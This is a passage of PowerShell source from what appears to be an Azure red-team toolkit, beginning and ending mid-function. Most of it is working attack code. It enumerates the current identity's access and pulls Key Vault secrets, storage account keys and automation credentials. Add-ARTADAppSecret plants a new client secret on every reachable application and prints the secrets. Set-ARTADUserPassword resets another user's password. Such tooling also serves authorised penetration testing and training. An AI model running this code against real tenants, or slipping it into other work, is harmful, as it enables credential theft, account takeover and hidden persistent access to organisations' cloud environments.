DisplayName = $_.RoleMemberInfo.DisplayName 2734 | ScopedRoleName = $RoleName 2735 | UserId = $_.RoleMemberInfo.Id 2736 | UserPrincipalName = $_.RoleMemberInfo.UserPrincipalName 2737 | ScopedRoleId = $RoleId 2738 | ScopedRoleDescription = $RoleDescription 2739 | } 2740 | 2741 | if (($All) -or ($_.RoleMemberInfo.Id -eq $UserId)) { 2742 | $null = $Coll.Add($obj) 2743 | $count += 1 2744 | } 2745 | } 2746 | } 2747 | 2748 | $Coll 2749 | 2750 | if($count -eq 0) { 2751 | Write-Host "[-] No Azure AD Scoped Role assignment found." -ForegroundColor Red 2752 | Write-Warning "Try running Get-ARTADScopedRoleAssignment -All to see all scoped role assignments`n" 2753 | } 2754 | } 2755 | catch { 2756 | Write-Host "[!] Function failed!" -ForegroundColor Red 2757 | Throw 2758 | Return 2759 | } 2760 | finally { 2761 | $ErrorActionPreference = $EA 2762 | } 2763 | } 2764 | 2765 | 2766 | Function Get-ARTAccess { 2767 | <# 2768 | .SYNOPSIS 2769 | Performs Azure Situational Awareness. 2770 | 2771 | .PARAMETER SubscriptionId 2772 | Optional parameter specifying Subscription to examine. 2773 | 2774 | .DESCRIPTION 2775 | Enumerate all accessible Azure resources, permissions, roles assigned for a quick Situational Awareness. 2776 | 2777 | .EXAMPLE 2778 | PS> Get-ARTAccess -Verbose 2779 | #> 2780 | [CmdletBinding()] 2781 | Param( 2782 | [Parameter(Mandatory=$False)] 2783 | [String] 2784 | $SubscriptionId = $null 2785 | ) 2786 | 2787 | try { 2788 | $EA = $ErrorActionPreference 2789 | $ErrorActionPreference = 'silentlycontinue' 2790 | 2791 | try { 2792 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 2793 | $SubscriptionId = Get-ARTSubscriptionId 2794 | } 2795 | 2796 | Set-AzContext -Subscription $SubscriptionId | Out-Null 2797 | 2798 | $res = Get-AzResource 2799 | 2800 | Write-Host "=== (1) Available Tenants:`n" -ForegroundColor Yellow 2801 | $tenants = Get-ARTTenants 2802 | 2803 | if ($tenants -ne $null) { 2804 | Write-Host "[+] Azure Tenants are available for the current user:" -ForegroundColor Green 2805 | $tenants | fl 2806 | } 2807 | 2808 | Write-Verbose "Step 2. Checking Dangerous Permissions that User has on Azure Resources..." 2809 | Write-Host "=== (2) Dangerous Permissions on Azure Resources:`n" -ForegroundColor Yellow 2810 | $res = Get-ARTDangerousPermissions -SubscriptionId $SubscriptionId 2811 | 2812 | if ($res -ne $null ) { 2813 | Write-Host "[+] Following Dangerous Permissions were Identified on Azure Resources:" -ForegroundColor Green 2814 | $res | fl 2815 | } 2816 | else { 2817 | Write-Host "[-] User does not have any well-known dangerous permissions.`n" -ForegroundColor Red 2818 | } 2819 | 2820 | Write-Verbose "Step 3. Checking accessible Azure Resources..." 2821 | 2822 | Write-Host "=== (3) Accessible Azure Resources:`n" -ForegroundColor Yellow 2823 | $res = Get-ARTResource -SubscriptionId $SubscriptionId 2824 | 2825 | if ($res -ne $null) { 2826 | Write-Host "[+] Accessible Azure Resources & corresponding permissions:" -ForegroundColor Green 2827 | $res | fl 2828 | } 2829 | else { 2830 | Write-Host "[-] User does not have access to any Azure Resource.`n" -ForegroundColor Red 2831 | } 2832 | 2833 | try { 2834 | Write-Verbose "Step 4. Checking assigned Azure RBAC Roles..." 2835 | Write-Host "=== (4) Assigned Azure RBAC Roles:`n" -ForegroundColor Yellow 2836 | 2837 | $roles = Get-ARTRoleAssignment 2838 | 2839 | if ($roles -ne $null ) { 2840 | Write-Host "[+] Azure RBAC Roles Assigned:" -ForegroundColor Green 2841 | $roles | ft 2842 | } 2843 | else { 2844 | Write-Host "[-] User does not have any Azure RBAC Role assigned.`n" -ForegroundColor Red 2845 | } 2846 | } 2847 | catch { 2848 | Write-Host "[-] User does not have any Azure RBAC Role assigned or exception was thrown.`n" -ForegroundColor Red 2849 | } 2850 | 2851 | try { 2852 | Write-Verbose "Step 5. Checking accessible Azure Key Vault Secrets..." 2853 | Write-Host "=== (5) Accessible Azure Key Vault Secrets:`n" -ForegroundColor Yellow 2854 | $secrets = Get-ARTKeyVaultSecrets 2855 | 2856 | if ($secrets -ne $null) { 2857 | Write-Host "[+] Azure Key Vault Secrets accessible:" -ForegroundColor Green 2858 | $secrets | fl 2859 | } 2860 | else { 2861 | Write-Host "[-] User could not access Key Vault Secrets or there were no available.`n" -ForegroundColor Red 2862 | } 2863 | } 2864 | catch { 2865 | Write-Host "[-] User could not access Key Vault Secrets or there were no available or exception was thrown.`n" -ForegroundColor Red 2866 | } 2867 | 2868 | try { 2869 | Write-Verbose "Step 6. Checking accessible Storage Account Keys..." 2870 | Write-Host "=== (6) Accessible Storage Account Keys:`n" -ForegroundColor Yellow 2871 | $secrets = Get-ARTStorageAccountKeys 2872 | 2873 | if ($secrets -ne $null) { 2874 | Write-Host "[+] Storage Account Keys accessible:" -ForegroundColor Green 2875 | $secrets | fl 2876 | } 2877 | else { 2878 | Write-Host "[-] User could not access Storage Account Keys or there were no available.`n" -ForegroundColor Red 2879 | } 2880 | } 2881 | catch { 2882 | Write-Host "[-] User could not access Storage Account Keys or there were no available or exception was thrown.`n" -ForegroundColor Red 2883 | } 2884 | 2885 | try { 2886 | Write-Verbose "Step 7. Checking accessible Automation Account Secrets..." 2887 | Write-Host "=== (7) Accessible Automation Account Secrets:`n" -ForegroundColor Yellow 2888 | $secrets = Get-ARTAutomationCredentials 2889 | 2890 | if ($secrets -ne $null) { 2891 | Write-Host "[+] Automation Account Secrets accessible:" -ForegroundColor Green 2892 | $secrets | fl 2893 | } 2894 | else { 2895 | Write-Host "[-] User could not access Automation Account Secrets or there were no available.`n" -ForegroundColor Red 2896 | } 2897 | } 2898 | catch { 2899 | Write-Host "[-] User could not access Automation Account Secrets or there were no available or exception was thrown.`n" -ForegroundColor Red 2900 | } 2901 | 2902 | try { 2903 | Write-Verbose "Step 8. Checking access to Az.AD / AzureAD via Az module..." 2904 | Write-Host "=== (8) User Access to Az.AD:`n" -ForegroundColor Yellow 2905 | $users = Get-AzADUser -First 1 -ErrorAction SilentlyContinue 2906 | 2907 | if ($users -ne $null -and $users.Length -gt 0) { 2908 | Write-Host "[+] User has access to Azure AD via Az.AD module (e.g. Get-AzADUser).`n" -ForegroundColor Green 2909 | } 2910 | else { 2911 | Write-Host "[-] User has no access to Azure AD via Az.AD module (e.g. Get-AzADUser).`n" -ForegroundColor Red 2912 | } 2913 | } 2914 | catch { 2915 | Write-Host "[-] User has no access to Azure AD via Az.AD module (e.g. Get-AzADUser) or exception was thrown.`n" -ForegroundColor Red 2916 | } 2917 | 2918 | try { 2919 | Write-Verbose "Step 9. Enumerating resource group deployments..." 2920 | Write-Host "=== (9) Resource Group Deployments:`n" -ForegroundColor Yellow 2921 | 2922 | $resourcegroups = Get-AzResourceGroup 2923 | 2924 | if($resourcegroups -eq $null -or $resourcegroups.Length -eq 0) { 2925 | Write-Host "[-] No resource groups available to the user.`n" -ForegroundColor Red 2926 | } 2927 | else { 2928 | $found = $false 2929 | 2930 | $resourcegroups | % { 2931 | $deployments = Get-AzResourceGroupDeployment -ResourceGroupName $_.ResourceGroupName -ErrorAction SilentlyContinue 2932 | 2933 | Write-Host "[+] Following Resource Group Deployments are available to the User:" -ForegroundColor Green 2934 | $found = $true 2935 | 2936 | $deployments 2937 | 2938 | Write-Host "[.] Pull their deployment template JSONs using commands:" -ForegroundColor Magenta 2939 | $deployments | Select ResourceGroupName,DeploymentName | % { 2940 | Write-Host "`tGet-ARTResourceGroupDeploymentTemplate -ResourceGroupName $($_.ResourceGroupName) -DeploymentName $($_.DeploymentName)" 2941 | } 2942 | } 2943 | 2944 | if ($found -eq $false) { 2945 | Write-Host "[-] User has no access to Resource Group Deployments or there were no defined.`n" -ForegroundColor Red 2946 | } 2947 | } 2948 | } 2949 | catch { 2950 | Write-Host "[-] User has no access to Resource Group Deployments or there were no defined or exception was thrown.`n" -ForegroundColor Red 2951 | } 2952 | } 2953 | catch { 2954 | Write-Host "[-] Current User context does not have access to Azure management.`n" -ForegroundColor Red 2955 | 2956 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 2957 | throw 2958 | } 2959 | } 2960 | } 2961 | catch { 2962 | Write-Host "[!] Function failed!" -ForegroundColor Red 2963 | Throw 2964 | Return 2965 | } 2966 | finally { 2967 | $ErrorActionPreference = $EA 2968 | } 2969 | } 2970 | 2971 | 2972 | Function Get-ARTADAccess { 2973 | <# 2974 | .SYNOPSIS 2975 | Performs Azure AD Situational Awareness. 2976 | 2977 | .DESCRIPTION 2978 | Enumerate all Azure AD permissions, roles assigned for a quick Situational Awareness. 2979 | 2980 | .PARAMETER AccessToken 2981 | Access Token to use for authentication. Optional, will try to acquire token automatically. 2982 | 2983 | .EXAMPLE 2984 | PS> Get-ARTADAccess -Verbose 2985 | #> 2986 | [CmdletBinding()] 2987 | Param( 2988 | [Parameter(Mandatory=$False)] 2989 | [String] 2990 | $AccessToken 2991 | ) 2992 | 2993 | try { 2994 | $EA = $ErrorActionPreference 2995 | $ErrorActionPreference = 'silentlycontinue' 2996 | 2997 | try { 2998 | $users = Get-AzureADUser 2999 | $UserId = Get-ARTUserId 3000 | $who = "User" 3001 | 3002 | if ($users -eq $null -or $users.Length -eq 0) { 3003 | Write-Host "[-] $who does not have access to Azure AD." -ForegroundColor Red 3004 | Return 3005 | } 3006 | 3007 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 3008 | $AccessToken = Get-ARTAccessTokenAz -Resource "https://graph.microsoft.com" 3009 | } 3010 | 3011 | Write-Verbose "Step 1. Enumerating current $who group membership..." 3012 | Write-Host "`n=== (1) Azure AD Groups that $who is member of:`n" -ForegroundColor Yellow 3013 | 3014 | try { 3015 | $sp = $null 3016 | try { 3017 | $sp = Get-AzureADServicePrincipal | ? { $_.ServicePrincipalNames -contains $UserId } 3018 | } 3019 | catch { 3020 | } 3021 | 3022 | $groups = $null 3023 | 3024 | if($sp -ne $null) { 3025 | $who = "Service Principal" 3026 | Write-Host "[.] Authenticated as Service Principal." -ForegroundColor Green 3027 | 3028 | try { 3029 | $groups = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 3030 | }catch{} 3031 | } 3032 | else { 3033 | try { 3034 | $groups = Get-AzureADUserMembership -ObjectId $UserId 3035 | }catch{} 3036 | } 3037 | 3038 | if ($groups -ne $null -and $groups.Length -gt 0) { 3039 | Write-Host "[+] $who is member of following Azure AD Groups:" -ForegroundColor Green 3040 | $groups | ft 3041 | } 3042 | else { 3043 | Write-Host "[-] $who is not a member of any Azure AD Group." -ForegroundColor Red 3044 | } 3045 | } 3046 | catch { 3047 | Write-Host "[-] $who is not a member of any Azure AD Group." -ForegroundColor Red 3048 | Write-Host "[-] Exception occured during Get-AzureADUserMembership:" -ForegroundColor Red 3049 | $Error[0].Exception.InnerException.StackTrace 3050 | } 3051 | 3052 | Write-Verbose "Step 2. Checking assigned Azure AD Roles..." 3053 | Write-Host "`n=== (2) Azure AD Roles assigned to current $($who):`n" -ForegroundColor Yellow 3054 | try { 3055 | $roles = Get-ARTADRoleAssignment 3056 | 3057 | if ($roles -ne $null -and $roles.Length -gt 0) { 3058 | Write-Host "[+] Azure AD Roles Assigned:" -ForegroundColor Green 3059 | $roles | ft 3060 | } 3061 | else { 3062 | #Write-Host "[-] $who does not have any Azure AD Roles assigned." -ForegroundColor Red 3063 | 3064 | try { 3065 | if(Get-Command Get-MGContext) { 3066 | $users = Get-MgUser -ErrorAction SilentlyContinue 3067 | 3068 | if ($users -eq $null -or $users.Length -eq 0) { 3069 | Write-Verbose "[-] $who does not have access to Microsoft.Graph either." -ForegroundColor Red 3070 | } 3071 | else { 3072 | $roles = Get-ARTADRoleAssignment 3073 | if ($roles -ne $null -and $roles.Length -gt 0) { 3074 | Write-Host "[+] However user does have access via Microsoft Graph to Azure AD - and these are his Roles Assigned:" -ForegroundColor Green 3075 | $roles | ft 3076 | } 3077 | } 3078 | } 3079 | } 3080 | catch { 3081 | Write-Verbose "[-] Could not enumerate Azure AD Roles via Microsoft.Graph either." 3082 | } 3083 | } 3084 | } 3085 | catch { 3086 | Write-Host "[-] Exception occured during Get-ARTADRoleAssignment:" -ForegroundColor Red 3087 | $Error[0].Exception.InnerException.StackTrace 3088 | } 3089 | 3090 | Write-Verbose "Step 3. Checking Azure AD Scoped Roles..." 3091 | Write-Host "`n=== (3) Azure AD Scoped Roles assigned to current $($who):`n" -ForegroundColor Yellow 3092 | try { 3093 | $roles = Get-ARTADScopedRoleAssignment 3094 | 3095 | if ($roles -ne $null ) { 3096 | Write-Host "[+] Azure AD Scoped Roles Assigned:" -ForegroundColor Green 3097 | $roles | ft 3098 | } 3099 | else { 3100 | #Write-Host "[-] $who does not have any Azure AD Scoped Roles assigned." -ForegroundColor Red 3101 | } 3102 | } 3103 | catch { 3104 | Write-Host "[-] Exception occured during Get-ARTADScopedRoleAssignment:" -ForegroundColor Red 3105 | $Error[0].Exception.InnerException.StackTrace 3106 | } 3107 | 3108 | Write-Verbose "Step 4. Checking Azure AD Applications owned..." 3109 | Write-Host "`n=== (4) Azure AD Applications Owned By Current $($who):`n" -ForegroundColor Yellow 3110 | try { 3111 | $apps = Get-ARTApplication 3112 | 3113 | if ($apps -ne $null ) { 3114 | Write-Host "[+] Azure AD Applications Owned:" -ForegroundColor Green 3115 | $apps | fl 3116 | } 3117 | else { 3118 | Write-Host "[-] $who does not own any Azure AD Application." -ForegroundColor Red 3119 | } 3120 | } 3121 | catch { 3122 | Write-Host "[-] $who does not own any Azure AD Application." -ForegroundColor Red 3123 | Write-Host "[-] Exception occured during Get-ARTApplication:" -ForegroundColor Red 3124 | $Error[0].Exception.InnerException.StackTrace 3125 | } 3126 | 3127 | Write-Verbose "Step 5. Checking Azure AD Dynamic Groups..." 3128 | Write-Host "`n=== (5) Azure AD Dynamic Groups:`n" -ForegroundColor Yellow 3129 | try { 3130 | $dynamicGroups = Get-ARTADDynamicGroups -AccessToken $AccessToken 3131 | 3132 | if ($dynamicGroups -ne $null ) { 3133 | Write-Host "[+] Azure AD Dynamic Groups:" -ForegroundColor Green 3134 | $dynamicGroups | ft 3135 | } 3136 | else { 3137 | Write-Host "[-] No Azure AD Dynamic Groups found." -ForegroundColor Red 3138 | } 3139 | } 3140 | catch { 3141 | Write-Host "[-] Could not pull Azure AD Dynamic Groups." -ForegroundColor Red 3142 | Write-Host "[-] Exception occured during Get-ARTADDynamicGroups:" -ForegroundColor Red 3143 | $Error[0].Exception.InnerException.StackTrace 3144 | } 3145 | 3146 | Write-Verbose "Step 6. Examining Administrative Units..." 3147 | Write-Host "`n=== (6) Azure AD Administrative Units:`n" -ForegroundColor Yellow 3148 | 3149 | $Coll = New-Object System.Collections.ArrayList 3150 | try { 3151 | $units = Get-AzureADMSAdministrativeUnit 3152 | 3153 | $units | % { 3154 | Write-Verbose "Enumerating unit `"$($_.DisplayName)`" ..." 3155 | $members = Get-AzureADMSAdministrativeUnitMember -Id $_.Id 3156 | 3157 | $obj = [PSCustomObject]@{ 3158 | AdministrativeUnit = $_.DisplayName 3159 | MembersCount = $members.Length 3160 | Description = $_.Description 3161 | AdministrativeUnitId = $_.Id 3162 | } 3163 | 3164 | $null = $Coll.Add($obj) 3165 | } 3166 | 3167 | if ($Coll -ne $null) { 3168 | Write-Host "[+] Azure AD Administrative Units:" -ForegroundColor Green 3169 | $Coll | sort -property MembersCount -Descending | ft 3170 | } 3171 | else { 3172 | Write-Host "[-] Could not list Azure AD Administrative Units." -ForegroundColor Red 3173 | } 3174 | } 3175 | catch { 3176 | Write-Host "[-] Could not list Azure AD Administrative Units." -ForegroundColor Red 3177 | Write-Host "[-] Exception occured during Get-AzureADMSAdministrativeUnit:" -ForegroundColor Red 3178 | $Error[0].Exception.InnerException.StackTrace 3179 | } 3180 | 3181 | Write-Verbose "Step 7. Checking Azure AD Roles that are In-Use..." 3182 | Write-Host "`n=== (7) Azure AD Roles Assigned In Tenant To Different Users:`n" -ForegroundColor Yellow 3183 | 3184 | $Coll = New-Object System.Collections.ArrayList 3185 | try { 3186 | $azureadroles = Get-AzureADDirectoryRole 3187 | 3188 | $azureadroles | % { 3189 | Write-Verbose "Enumerating role `"$($_.DisplayName)`" ..." 3190 | $members = Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId 3191 | 3192 | $RoleName = $_.DisplayName 3193 | $RoleId = $_.ObjectId 3194 | 3195 | $obj = [PSCustomObject]@{ 3196 | RoleName = $RoleName 3197 | MembersCount = $members.Length 3198 | IsCustom = -not $_.IsSystem 3199 | RoleId = $RoleId 3200 | } 3201 | 3202 | $null = $Coll.Add($obj) 3203 | } 3204 | 3205 | if ($Coll -ne $null) { 3206 | Write-Host "[+] Azure AD Roles In-Use:" -ForegroundColor Green 3207 | $Coll | sort -property MembersCount -Descending | ft 3208 | } 3209 | else { 3210 | Write-Host "[-] Could not list Azure AD Roles In-Use." -ForegroundColor Red 3211 | } 3212 | } 3213 | catch { 3214 | Write-Host "[-] Could not list Azure AD Roles In-Use." -ForegroundColor Red 3215 | Write-Host "[-] Exception occured during Get-AzureADDirectoryRoleMember:" -ForegroundColor Red 3216 | $Error[0].Exception.InnerException.StackTrace 3217 | } 3218 | 3219 | Write-Verbose "Step 8. Checking Azure AD Application Proxies..." 3220 | Write-Host "`n=== (8) Azure AD Application Proxies (be patient, this takes more time...):`n" -ForegroundColor Yellow 3221 | try { 3222 | $apps = Get-ARTApplicationProxy 3223 | 3224 | if ($apps -ne $null ) { 3225 | Write-Host "[+] Azure AD Application Proxies:" -ForegroundColor Green 3226 | $apps | ft 3227 | } 3228 | else { 3229 | Write-Host "[-] No Azure AD Application Proxies found." -ForegroundColor Red 3230 | } 3231 | } 3232 | catch { 3233 | Write-Host "[-] Could not find Azure AD Application Proxy." -ForegroundColor Red 3234 | Write-Host "[-] Exception occured during Get-ARTApplicationProxy:" -ForegroundColor Red 3235 | $Error[0].Exception.InnerException.StackTrace 3236 | } 3237 | } 3238 | catch { 3239 | Write-Host "[-] Current User context does not have access to Azure AD.`n" -ForegroundColor Red 3240 | 3241 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 3242 | throw 3243 | } 3244 | } 3245 | } 3246 | catch { 3247 | Write-Host "[!] Function failed!" -ForegroundColor Red 3248 | Throw 3249 | Return 3250 | } 3251 | finally { 3252 | $ErrorActionPreference = $EA 3253 | } 3254 | } 3255 | 3256 | 3257 | Function Invoke-ARTGETRequest { 3258 | <# 3259 | .SYNOPSIS 3260 | Invokes REST Method GET to the specified URI. 3261 | 3262 | .DESCRIPTION 3263 | Takes Access Token and invokes REST method API request against a specified URI. It also verifies whether provided token has required audience set. 3264 | 3265 | .PARAMETER Uri 3266 | URI to invoke. For instance: https://graph.microsoft.com/v1.0/applications 3267 | 3268 | .PARAMETER AccessToken 3269 | Access Token to use for authentication. Optional, will try to acquire token automatically. 3270 | 3271 | .PARAMETER Json 3272 | Return results as JSON. 3273 | 3274 | .EXAMPLE 3275 | PS> Invoke-ARTGETRequest -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -AccessToken $token 3276 | #> 3277 | 3278 | [CmdletBinding()] 3279 | Param( 3280 | [Parameter(Mandatory=$True)] 3281 | [String] 3282 | $Uri, 3283 | 3284 | [Parameter(Mandatory=$False)] 3285 | [String] 3286 | $AccessToken, 3287 | 3288 | [Parameter(Mandatory=$False)] 3289 | [Switch] 3290 | $Json 3291 | ) 3292 | 3293 | try { 3294 | $EA = $ErrorActionPreference 3295 | $ErrorActionPreference = 'silentlycontinue' 3296 | 3297 | $requesthost = ([System.Uri]$Uri).Host 3298 | 3299 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 3300 | $AccessToken = Get-ARTAccessTokenAz -Resource "https://$requesthost" 3301 | } 3302 | 3303 | $parsed = Parse-JWTtokenRT $AccessToken 3304 | 3305 | $tokenhost = ([System.Uri]$parsed.aud).Host 3306 | 3307 | if($tokenhost -ne $requesthost) { 3308 | Write-Warning "Request Host ($requesthost) differs from Token Audience host ($tokenhost). Authentication failure may occur." 3309 | } 3310 | 3311 | $params = @{ 3312 | Method = 'GET' 3313 | Uri = $Uri 3314 | Headers = @{ 3315 | 'Authorization' = "Bearer $AccessToken" 3316 | } 3317 | } 3318 | 3319 | $out = Invoke-RestMethod @params 3320 | 3321 | if (($out.PSobject.Properties.Length -eq 1) -and ([bool]($out.PSobject.Properties.name -match "value"))) { 3322 | $out = $out.value 3323 | } 3324 | 3325 | if($Json) { 3326 | $out | ConvertTo-Json 3327 | } 3328 | else { 3329 | $out 3330 | } 3331 | } 3332 | catch { 3333 | Write-Host "[!] Function failed!" -ForegroundColor Red 3334 | Throw 3335 | Return 3336 | } 3337 | finally { 3338 | $ErrorActionPreference = $EA 3339 | } 3340 | } 3341 | 3342 | 3343 | # 3344 | # This function is (probably) authored by: 3345 | # Nikhil Mittal, @nikhil_mitt 3346 | # https://twitter.com/nikhil_mitt 3347 | # 3348 | # Code was taken from Nikhil's Azure Red Team Bootcamp: 3349 | # C:\AzAD\Tools\Add-AzADAppSecret.ps1 3350 | # 3351 | Function Add-ARTADAppSecret { 3352 | <# 3353 | .SYNOPSIS 3354 | Add client secret to the applications. 3355 | 3356 | .PARAMETER AccessToken 3357 | Pass the Graph API Token. 3358 | 3359 | .EXAMPLE 3360 | PS C:\> Add-ARTADAppSecret -AccessToken 'eyJ0eX..' 3361 | 3362 | .LINK 3363 | https://twitter.com/nikhil_mitt 3364 | https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http 3365 | https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http 3366 | #> 3367 | 3368 | [CmdletBinding()] 3369 | param( 3370 | [Parameter(Mandatory=$True)] 3371 | [String] 3372 | $AccessToken = $null 3373 | ) 3374 | 3375 | try { 3376 | $EA = $ErrorActionPreference 3377 | $ErrorActionPreference = 'silentlycontinue' 3378 | 3379 | $AppList = $null 3380 | $AppPassword = $null 3381 | 3382 | $parsed = Parse-JWTtokenRT $AccessToken 3383 | 3384 | $tokenhost = ([System.Uri]$parsed.aud).Host 3385 | $requesthost = "graph.microsoft.com" 3386 | 3387 | if($tokenhost -ne $requesthost) { 3388 | Write-Warning "Supplied Access Token's Audience host `"$tokenhost`" is not `"https://graph.microsoft.com`"! Authentication failure may occur." 3389 | } 3390 | 3391 | # List All the Applications 3392 | $Params = @{ 3393 | "URI" = "https://graph.microsoft.com/v1.0/applications" 3394 | "Method" = "GET" 3395 | "Headers" = @{ 3396 | "Content-Type" = "application/json" 3397 | "Authorization" = "Bearer $AccessToken" 3398 | } 3399 | } 3400 | 3401 | try { 3402 | $AppList = Invoke-RestMethod @Params -UseBasicParsing 3403 | } 3404 | catch { 3405 | } 3406 | 3407 | # Add Password in the Application 3408 | if($AppList -ne $null) { 3409 | 3410 | [System.Collections.ArrayList]$Details = @() 3411 | 3412 | foreach($App in $AppList.value) { 3413 | $ID = $App.ID 3414 | $psobj = New-Object PSObject 3415 | 3416 | $Params = @{ 3417 | "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" 3418 | "Method" = "POST" 3419 | "Headers" = @{ 3420 | "Content-Type" = "application/json" 3421 | "Authorization" = "Bearer $AccessToken" 3422 | } 3423 | } 3424 | 3425 | $Body = @{ 3426 | "passwordCredential"= @{ 3427 | "displayName" = "Password" 3428 | } 3429 | } 3430 | 3431 | try { 3432 | $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 3433 | Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID 3434 | Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId 3435 | Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName 3436 | Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId 3437 | Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText 3438 | $Details.Add($psobj) | Out-Null 3439 | } 3440 | catch { 3441 | Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 3442 | } 3443 | } 3444 | 3445 | if($Details -ne $null) { 3446 | Write-Output "`nClient secret added to:" 3447 | Write-Output $Details | fl * 3448 | } 3449 | } 3450 | else { 3451 | Write-Output "Failed to Enumerate the Applications." 3452 | } 3453 | } 3454 | catch { 3455 | Write-Host "[!] Function failed!" -ForegroundColor Red 3456 | Throw 3457 | Return 3458 | } 3459 | finally { 3460 | $ErrorActionPreference = $EA 3461 | } 3462 | } 3463 | 3464 | 3465 | Function Get-ARTAzVMPublicIP { 3466 | <# 3467 | .SYNOPSIS 3468 | Retrieves Azure VM Public IP address 3469 | 3470 | .DESCRIPTION 3471 | Retrieves Azure VM Public IP Address 3472 | 3473 | .PARAMETER VMName 3474 | Specifies Azure VM name to target. 3475 | 3476 | .PARAMETER ResourceGroupName 3477 | Target Azure Resource Group name. 3478 | 3479 | .EXAMPLE 3480 | PS> Get-ARTAzVMPublicIP -VMName MyVM1 3481 | #> 3482 | 3483 | [CmdletBinding()] 3484 | Param( 3485 | [Parameter(Mandatory=$True)] 3486 | [String] 3487 | $VMName, 3488 | 3489 | [Parameter(Mandatory=$False)] 3490 | [String] 3491 | $ResourceGroupName = $null 3492 | ) 3493 | 3494 | try { 3495 | $EA = $ErrorActionPreference 3496 | $ErrorActionPreference = 'silentlycontinue' 3497 | 3498 | if($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) { 3499 | Write-Verbose "Searching for a specified VM..." 3500 | 3501 | Get-AzVM | % { 3502 | if($_.name -eq $VMName) { 3503 | $ResourceGroupName = $_.ResourceGroupName 3504 | Write-Verbose "Found Azure VM: $($_.Name) / $($_.ResourceGroupName)" 3505 | break 3506 | } 3507 | } 3508 | } 3509 | 3510 | (get-azvm -ResourceGroupName $ResourceGroupName -VMName $VMName | select -ExpandProperty NetworkProfile).NetworkInterfaces | % { 3511 | (Get-AzPublicIpAddress -Name $_.Id).IpAddress 3512 | } 3513 | } 3514 | catch { 3515 | Write-Host "[!] Function failed!" -ForegroundColor Red 3516 | Throw 3517 | Return 3518 | } 3519 | finally { 3520 | $ErrorActionPreference = $EA 3521 | } 3522 | } 3523 | 3524 | 3525 | Function Set-ARTADUserPassword { 3526 | <# 3527 | .SYNOPSIS 3528 | Sets/Resets another Azure AD User Password. 3529 | 3530 | .DESCRIPTION 3531 | Sets/Resets another Azure AD User Password. 3532 | 3533 | .PARAMETER TargetUser 3534 | Specifies Target User name/UserPrincipalName/UserID to have his password changed. 3535 | 3536 | .PARAMETER Password 3537 | Specifies new password to set. 3538 | 3539 | .EXAMPLE 3540 | PS> Set-ARTADUserPassword -TargetUser michael@contoso.onmicrosoft.com -Password "SuperSecret@123" 3541 | #> 3542 | 3543 | [CmdletBinding()] 3544 | Param( 3545 | [Parameter(Mandatory=$True)] 3546 | [String] 3547 | $TargetUser, 3548 | 3549 | [Parameter(Mandatory=$True)] 3550 | [String] 3551 | $Password 3552 | ) 3553 | 3554 | try { 3555 | $EA = $ErrorActionPreference 3556 | $ErrorActionPreference = 'silentlycontinue' 3557 | 3558 | $passobj = $Password | ConvertTo-SecureString -AsPlainText -Force 3559 | 3560 | $TargetUserObj = (Get-AzureADUser -All $True | ? { $_.UserPrincipalName -eq $TargetUser -or $_.ObjectId -eq $TargetUser -or $_.DisplayName -eq $TargetUser}) 3561 | 3562 | if($TargetUserObj -eq $null -or $TargetUserObj.ObjectId -eq $null -or $TargetUserObj.ObjectId.Length -eq 0) { 3563 | Write-Host "[!] Could not find target user based on his name." -ForegroundColor Red 3564 | Return 3565 | } 3566 | 3567 | $TargetUserObj.ObjectId | Set-AzureADUserPassword -Password $passobj -Verbose 3568 | Write-Host "[+] User password most likely changed." -ForegroundColor Green 3569 | Write-Host "Affected user:" 3570 | $TargetUserObj 3571 | } 3572 | catch { 3573 | Write-Host "[!] Function failed!" -ForegroundColor Red 3574 | Throw 3575 | Return 3576 | } 3577 | finally { 3578 | $ErrorActionPreference = $EA 3579 | } 3580 | } 3581 | 3582 | 3583 | Function Get-ARTApplicationProxyPrincipals { 3584 | <# 3585 | .SYNOPSIS 3586 | Displays users and groups assigned to the specified Application Proxy application. 3587 | 3588 | .DESCRIPTION 3589 | Displays users and groups assigned to the specified Application Proxy application. 3590 | Requires Azure AD role: Global Administrator or Application Administrator 3591 | 3592 | Copied from Nikhil Mittal's Azure AD Attacking & Defending Bootcamp 3593 | who in turn copied that script from: 3594 | https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/scripts/powershell-display-users-group-of-app 3595 | 3596 | .PARAMETER ObjectId 3597 | Specifies Service Principal object ID that should be inspected. 3598 | 3599 | .EXAMPLE 3600 | PS C:\> Get-ARTApplicationProxyPrincipals -ObjectId $Id 3601 | #> 3602 | 3603 | [CmdletBinding()] 3604 | Param( 3605 | [Parameter(Mandatory=$False)] 3606 | [String] 3607 | $ObjectId = $null 3608 | ) 3609 | 3610 | try { 3611 | $EA = $ErrorActionPreference 3612 | $ErrorActionPreference = 'silentlycontinue' 3613 | 3614 | $aadapServPrincObjId = $ObjectId 3615 | 3616 | try { 3617 | $app = Get-AzureADServicePrincipal -ObjectId $aadapServPrincObjId 3618 | } 3619 | catch { 3620 | Write-Host "[-] Possibly the ObjectId is incorrect." -ForegroundColor Red 3621 | Write-Host " " 3622 | Return 3623 | } 3624 | 3625 | $obj = [PSCustomObject]@{ 3626 | AppDisplayName = $app.DisplayName 3627 | ServicePrincipalId = $aadapServPrincObjId 3628 | } 3629 | 3630 | Write-Host "=== 